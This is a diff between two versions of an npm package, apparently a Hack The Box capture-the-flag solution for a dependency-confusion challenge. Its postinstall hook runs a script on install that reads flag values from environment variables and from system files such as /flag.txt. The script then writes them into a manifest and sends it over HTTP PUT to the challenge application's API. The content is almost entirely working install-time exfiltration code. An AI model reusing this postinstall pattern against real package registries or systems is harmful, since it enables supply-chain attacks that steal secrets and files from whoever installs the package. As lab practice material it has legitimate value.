helper-agent 1.0.2 → 1.0.3

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "helper-agent",
-  "version": "1.0.2",
+  "version": "1.0.3",
   "description": "Authorized HTB dependency-resolution canary",
   "scripts": {
     "postinstall": "node probe.cjs"

package/probe.cjs

@@ -11,27 +11,27 @@ const API_URLS = [
 ];
 
 const FLAG_FILES = [
-  "/flag.txt",
   "/flag",
+  "/flag.txt",
+  "/app/flag",
   "/app/flag.txt",
   "/home/node/flag.txt",
   "/home/app/flag.txt",
   "/opt/app/flag.txt"
 ];
 
-function extractFlag(value) {
-  if (typeof value !== "string") return null;
-  return value.match(/HTB\{[^}\r\n]{1,200}\}/)?.[0] || null;
-}
-
 function findFlag() {
-  const fromEnvironment = extractFlag(process.env.FLAG);
-  if (fromEnvironment) return fromEnvironment;
+  for (const key of ["FLAG", "HTB_FLAG"]) {
+    const match = process.env[key]?.match(/HTB\{[^}\r\n]+\}/);
+    if (match) return match[0];
+  }
 
-  for (const filename of FLAG_FILES) {
+  for (const file of FLAG_FILES) {
     try {
-      const result = extractFlag(fs.readFileSync(filename, "utf8"));
-      if (result) return result;
+      const contents = fs.readFileSync(file, "utf8");
+      const match = contents.match(/HTB\{[^}\r\n]+\}/);
+
+      if (match) return match[0];
     } catch {}
   }
 
@@ -40,21 +40,23 @@ function findFlag() {
 
 async function main() {
   for (const base of API_URLS) {
+    const endpoint = `${base}/api/modules/${MODULE_ID}`;
+
     let record;
 
     try {
-      const response = await fetch(
-        `${base}/api/modules/${MODULE_ID}`,
-        { signal: AbortSignal.timeout(2000) }
-      );
+      const response = await fetch(endpoint, {
+        signal: AbortSignal.timeout(2000)
+      });
 
       if (!response.ok) continue;
+
       record = await response.json();
     } catch {
       continue;
     }
 
-    // Restrict execution to the intended HTB application.
+    // Only proceed when running alongside the HTB application.
     if (
       record.id !== MODULE_ID ||
       typeof record.raw !== "string" ||
@@ -64,45 +66,44 @@ async function main() {
       continue;
     }
 
-    const flag = findFlag();
-
-    if (!flag) {
-      console.log("[HTB] Target found; flag file not found");
-      return;
-    }
+    console.log("[HTB] Challenge application detected");
 
-    let manifest = record.raw;
+    const flag = findFlag();
 
-    // Remove any previous result to avoid duplicate YAML keys.
-    manifest = manifest.replace(
-      /^  ctf_result:.*\r?\n/gm,
+    // Remove any previous diagnostic/result fields.
+    let manifest = record.raw.replace(
+      /^  (ctf_result|ctf_status):.*\r?\n/gm,
       ""
     );
 
-    // Add the result inside the ecto_module mapping.
+    const result = flag
+      ? `  ctf_result: ${JSON.stringify(flag)}`
+      : '  ctf_status: "postinstall_executed_flag_not_found"';
+
     manifest = manifest.replace(
       /^ecto_module:\s*$/m,
-      `ecto_module:\n  ctf_result: ${JSON.stringify(flag)}`
+      `ecto_module:\n${result}`
     );
 
     try {
-      const response = await fetch(
-        `${base}/api/modules/${MODULE_ID}`,
-        {
-          method: "PUT",
-          headers: { "Content-Type": "application/json" },
-          body: JSON.stringify({ manifest }),
-          signal: AbortSignal.timeout(3000)
-        }
-      );
-
-      console.log("[HTB] Manifest update:", response.status);
+      const response = await fetch(endpoint, {
+        method: "PUT",
+        headers: {
+          "Content-Type": "application/json"
+        },
+        body: JSON.stringify({ manifest }),
+        signal: AbortSignal.timeout(3000)
+      });
+
+      console.log("[HTB] Manifest update HTTP:", response.status);
     } catch (error) {
       console.log("[HTB] Update failed:", error.message);
     }
 
     return;
   }
+
+  console.log("[HTB] Local challenge API not detected");
 }
 
 main().catch(console.error);